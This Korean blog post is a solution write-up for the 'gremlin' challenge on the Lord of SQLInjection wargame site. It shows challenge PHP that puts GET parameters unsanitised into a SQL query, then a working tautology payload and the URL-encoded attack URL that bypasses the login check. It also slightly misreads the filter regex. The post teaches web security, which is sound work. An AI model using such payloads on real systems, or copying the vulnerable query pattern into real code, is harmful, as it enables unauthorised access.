기록하는 공부

[Lord of SQLInjection] gremlin 풀이(웹해킹/web hacking/sql injection/문제풀이) 본문

정보보안/Web Hacking

[Lord of SQLInjection] gremlin 풀이(웹해킹/web hacking/sql injection/문제풀이)

SS_StudySteadily 2024. 8. 23. 14:32
728x90
반응형

 

 

문제 풀이 사이트
사이트 간략 소개

 

아래 사이트는 SQL Injection을 풀이할 수 있는 문제 사이트로 순차적으로 풀이하는 사이트이다.

SQL Injection 문제풀이를 원하는 경우 추천한다.

 

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

 

 

사이트 회원가입/로그인 절차

 

1. 메인 페이지에서 [enter to the dungeon]을 클릭한다.

메인 페이지

 

 

2. "Join"을 누르고 회원가입을 진행한다.

     id, email, pw만 입력하면 가입 완료가 된다.

회원가입

 

 

3. 회원가입을 완료한 이후 id, pw를 입력하여 로그인을 진행한다.

로그인

 

 

4. 풀이가 가능한 SQL Injection 문제들이 있으며, 위에서부터 순차적으로 풀이를 진행할 수 있다.

SQL Injection 문제

 

 

 

 


 

 

gremlin 문제풀이

 

1. 문제를 먼저 살펴본다.
    사용자로부터 id와 pw값을 입력받고 preg_match() 함수를 사용하여 'No Hack ~_~"이라는 문자열을 출력하는 것 같다.

gremlin 문제

 

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

 

 

2. 그렇다면 preg_match() 함수에 대해 알아보자.

 


preg_match()

  • PHP에서 정규식을 사용하여 문자열에서 패턴을 검색하는 데 사용되는 함수
  • 주어진 패턴이 문자열에 존재하는지 확인하고, 존재하면 일치하는 부분을 추출
  • 기본 문법
int preg_match(string $pattern, string $subject, array &$matches = null, int $flags = 0, int $offset = 0)

# 매개변수 설명
1. $pattern: 검색할 정규식 패턴, 패턴은 슬래시('/')로 감싸야 함.
2. $subject: 검색할 대상 문자열
3. $matches(선택): 일치하는 결과 저장 배열, 첫 번째 요소는 전체 일치, 다음 요소들은 괄호로 묶인 하위 패턴들에 일치하는 값들
4. $flags(선택): 추가 옵션 지정
5. $offset(선택): 검색 시작할 문자열 위치 지정

 

  • 반환값
    • 패턴($pattern)과 검색할 대상 문자열($subject)에서 일치하는 패턴이 있으면 1을 반환
    • 패턴($pattern)과 검색할 대상 문자열($subject)에서 일치하는 패턴이 없으면 0을 반환
    • 에러가 발생한 경우 false 반환

 


 

3. 따라서 문제 코드를 해석해 보자면 '_'와 '.' 그리고 '\'이 id 또는 pw 값에 포함되면 "No Hack ~_~"이 출력된다는 뜻이다.

 

 

4. 이제 쿼리문을 살펴보자. id 값과 pw 값을 입력받으면 쿼리문에 대입되는 것을 확인할 수 있다.
    URL에 id와 pw값을 아무거나 대입해 보자.

  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";

 

  • URL로 id, pw값 전달
https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=aaa&pw=bbb

id, pw 값 전달 후 변화된 쿼리문

 

 

5. id와 pw값이 preg_match() 함수에서 필터링하는 문자 외에는 필터링하지 않는다는 것을 알 수 있기 때문에 SQL Injection 공격을 수행해 볼 수 있다. 공격을 수행해 보자.

query : select id from prob_gremlin where id='1' or '1'='1' and pw='1' or '1'='1'

 

 

6. 문제를 해결했다.

  • id 값을 True로 만들고 pw값도 True로 만들었다.
  • 쿼리문에 그대로 대입이 되어 solve 함수가 호출되며 문제를 해결할 수 있다.
  • 대입한 URL
https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=1%27%20or%20%271%27=%271&pw=1%27%20or%20%271%27=%271

문제 성공 화면

 

728x90
반응형